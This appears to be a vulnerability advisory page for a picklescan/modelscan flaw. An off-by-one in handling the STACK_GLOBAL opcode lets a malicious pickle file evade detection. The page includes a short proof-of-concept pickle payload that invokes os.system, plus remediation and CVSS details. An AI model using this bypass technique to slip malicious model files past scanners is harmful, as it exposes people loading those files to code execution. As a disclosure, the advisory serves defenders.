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CVE-2025-71325

HIGH

Picklescan has pickle parsing logic flaw that leads to malicious pickle file bypass

Published August 12, 2025Updated July 7, 2026Source: osv

Summary

### Details There's a parsing logic error in picklescan and modelscan while trying to deal with opcode `STACK_GLOBAL`. Function `_list_globals` when handling `STACK_GLOBAL` at position `n`, it is expected to track two arguments but in wrong range. The loop only consider the range from `1` to `n-1` but forgets to consider the opcode at position `0`. The correct range should be `0` to `n-1`. Attacker can put arg in position `0`, thus the parser can only tract one argument. Then, the exception https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L281 will be triggered. Thus it can cause detection bypass since the malicious pickle file will trigger unexpected exceptions. Example: ``` 0: S STRING 'os' --> arg 0: STRING (untracked argument due to wrong scanning range) 6: S STRING 'system' --> arg 1: STRING (tracked argument) 16: \x93 STACK_GLOBAL 17: S STRING 'ls' 23: \x85 TUPLE1 24: R REDUCE 25: . STOP ``` ### PoC ``` python import pickle payload = b"S'os'\nS'system'\n\x93S'ls'\n\x85R." with open('bad_pickle.pkl', 'wb') as f: f.write(payload) pickle.load(open('bad_pickle.pkl', 'rb')) ``` ### Impact Detection bypass in both picklescan and modelscan. Note that it also affects the online hugging face pickle scanners, making the malicious pickle file bypass the detection. ### Fix To fix the range here, change `range(1, n)` to `range(1, n+1)` to ensure that `n-offset` stays within the range of `0` to `n`. https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L255

Remediation

Upgrade to the fixed version using your package manager.

pip
Update picklescan to 0.0.27 or later
pip install "picklescan>=0.0.27"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

PackageEcosystemAffectedFixed In
picklescan
pypi
0.0.1, 0.0.10, 0.0.11, 0.0.12 (+22 more)0.0.27

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-502
    Deserialization of Untrusted DataMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Confidentiality
Integrity
Availability

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Frequently Asked Questions

What is CVE-2025-71325?
Picklescan has pickle parsing logic flaw that leads to malicious pickle file bypass This vulnerability has been assigned a severity rating of HIGH (CVSS score: 9.8/10).
How do I check if my project is affected by CVE-2025-71325?
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Severity & Exploitability

CVSS Score
9.8

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-9gvj-pp9x-gcfr
PYSEC-2026-1788

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